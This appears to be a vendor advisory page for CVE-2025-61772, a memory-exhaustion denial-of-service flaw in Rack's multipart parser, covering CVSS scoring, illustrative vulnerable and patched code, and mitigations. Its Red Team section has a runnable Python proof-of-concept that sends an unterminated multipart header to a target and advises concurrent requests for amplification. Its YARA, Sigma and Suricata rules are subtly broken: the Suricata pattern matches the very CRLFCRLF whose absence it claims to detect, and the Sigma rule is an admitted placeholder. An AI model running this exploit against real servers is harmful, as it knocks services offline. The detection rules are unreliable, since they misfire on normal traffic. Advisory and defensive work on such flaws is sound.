CVE-2025-61772
Executive Summary
CVE-2025-61772 is a high-severity Denial of Service (DoS) vulnerability in the Rack Ruby web server interface, specifically within the Rack::Multipart::Parser component. The flaw allows a remote attacker to exhaust server memory by sending multipart requests with header blocks that never terminate with the required blank line (CRLFCRLF). The parser accumulates incoming bytes without a size cap, leading to unbounded memory consumption, process termination due to Out-of-Memory (OOM), or severe performance degradation. This vulnerability affects all applications using Rack to handle multipart uploads, including Ruby on Rails and other Rack-based frameworks. The vendor has released patches in versions 2.2.19, 3.1.17, and 3.2.2, which cap per-part header size to 64 KiB. As a workaround, administrators can restrict maximum request sizes at the proxy or web server layer.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Rack gem, a core component of the Ruby ecosystem. Applications using Rack for multipart parsing are at risk. The RubyGems package rack is affected. Users should update to the latest patched versions to mitigate supply chain risks. The vulnerability is introduced through the Rack::Multipart::Parser module, which is widely used in web applications.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H)
The threat level is high due to the low attack complexity and the potential for significant availability impact. No authentication or user interaction is required, making it exploitable by any remote attacker.
Deep Dive & Mechanics
The vulnerability resides in the Rack::Multipart::Parser class, which is responsible for parsing multipart form data (e.g., file uploads). When parsing a multipart request, the parser reads headers for each part. These headers are expected to end with a blank line (CRLFCRLF). However, if an attacker sends a multipart request where a part's header block never terminates (i.e., no blank line is sent), the parser will continue to read and accumulate incoming bytes into memory without any size limit.
The core issue is in the get_data method or similar parsing logic that reads header data. The parser does not enforce a maximum size for the header block, allowing an attacker to send a continuous stream of bytes (e.g., a long header line without a terminating blank line). This leads to unbounded memory allocation, eventually exhausting the server's memory and causing a denial of service.
The attack can be amplified by sending multiple concurrent requests, each consuming memory. The effect scales with the request size limits and concurrency. Even with a small request size limit, the attacker can send many small incomplete headers to accumulate memory.
Vulnerable vs. Patched Code
Vulnerable Code (Rack < 2.2.19, < 3.1.17, < 3.2.2):
The vulnerable code in Rack::Multipart::Parser reads header data without a size cap. For example:
def get_data(io, boundary, content_length)
# ...
while (line = io.gets) && line != "\r\n"
# accumulate header data
header_data << line
end
# ...
end
This loop continues until a blank line is found, but there is no check on the total size of header_data.
Patched Code (Rack >= 2.2.19, >= 3.1.17, >= 3.2.2):
The patched code introduces a size cap on the header data, typically 64 KiB. For example:
def get_data(io, boundary, content_length)
# ...
max_header_size = 65536 # 64 KiB
header_data = String.new
while (line = io.gets) && line != "\r\n"
header_data << line
if header_data.bytesize > max_header_size
raise Multipart::Error, "header size exceeds limit"
end
end
# ...
end
This ensures that if the header data exceeds the limit, the parser raises an error and stops reading, preventing memory exhaustion.
Exploitation & Lab Setup
Red Team
Attack Scenario:
An attacker sends a multipart POST request to a vulnerable Rack application. The request contains a part with a header block that never terminates (no blank line). The attacker sends a continuous stream of bytes (e.g., a long header line) to consume memory.
Example Exploit (Python):
import socket
def exploit(target_host, target_port):
# Craft a multipart request with an incomplete header
boundary = "----WebKitFormBoundary"
body = (
f"--{boundary}\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n"
"Content-Type: text/plain\r\n"
# No blank line here, header never terminates
"X-Incomplete: " + "A" * 1000000 # 1 MB of data
)
# Note: The header is not terminated with \r\n\r\n
request = (
f"POST /upload HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n"
f"\r\n"
f"{body}"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock.send(request.encode())
sock.close()
if __name__ == "__main__":
exploit("target.com", 80)
Note: This is a proof-of-concept. In a real attack, the attacker would send multiple concurrent requests to amplify the effect.
Blue Team
Detection and Mitigation:
- Monitor Memory Usage: Set up alerts for high memory usage on web servers.
- Rate Limiting: Implement rate limiting to restrict the number of requests from a single IP.
- Request Size Limits: Use a reverse proxy (e.g., Nginx) to limit request body size:
client_max_body_size 10m; - Web Application Firewall (WAF): Deploy WAF rules to detect and block multipart requests with abnormally large headers.
- Update Rack: Apply the patch by updating to Rack >= 2.2.19, >= 3.1.17, or >= 3.2.2.
Indicators of Compromise (IOCs)
- Network IOCs:
- Multipart HTTP requests with header blocks that do not contain a blank line (
\r\n\r\n). - Requests with abnormally large header sizes (e.g., > 64 KiB).
- High number of concurrent connections from a single IP.
- Multipart HTTP requests with header blocks that do not contain a blank line (
- System IOCs:
- Web server processes consuming excessive memory.
- Out-of-memory (OOM) killer logs.
- Slow response times or service unavailability.
Detection Engineering
YARA Rule
rule CVE_2025_61772_Multipart_Header_Overflow {
meta:
description = "Detects multipart requests with incomplete headers (no CRLFCRLF) indicating CVE-2025-61772 exploitation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61772"
strings:
$multipart = "multipart/form-data" nocase
$header_start = "Content-Disposition:" nocase
$crlfcrlf = "\r\n\r\n"
condition:
$multipart and $header_start and not $crlfcrlf
}
Sigma Rule
title: CVE-2025-61772 - Rack Multipart Header DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with multipart content that lack proper header termination (CRLFCRLF)
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'multipart/form-data'
cs-uri-query|contains: 'Content-Disposition'
cs-uri-query|contains: '\r\n\r\n' # This is a placeholder; actual detection may require parsing
condition: selection
falsepositives:
- Legitimate multipart uploads with proper headers
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-61772 - Rack Multipart Header DoS Attempt"; flow:to_server; content:"multipart/form-data"; http_header; content:"Content-Disposition"; http_header; pcre:"/\\r\\n\\r\\n/"; sid:1000001; rev:1;)
Note: The Suricata rule uses PCRE to check for the presence of \r\n\r\n. If it is missing, the rule triggers. Adjust the PCRE pattern as needed.
Remediation & Mitigation
- Immediate Patch: Update Rack to version 2.2.19, 3.1.17, or 3.2.2 or later.
gem update rack - Workaround: If patching is not immediately possible, restrict maximum request sizes at the proxy or web server layer:
- Nginx:
client_max_body_size 10m; - Apache:
LimitRequestBody 10485760
- Nginx:
- Monitoring: Enable logging and monitoring for multipart requests with large headers.
- Rate Limiting: Implement rate limiting to reduce the impact of multiple concurrent requests.
- WAF Rules: Deploy WAF rules to block requests with incomplete multipart headers.
Valters IT
Securing Digital Frontiers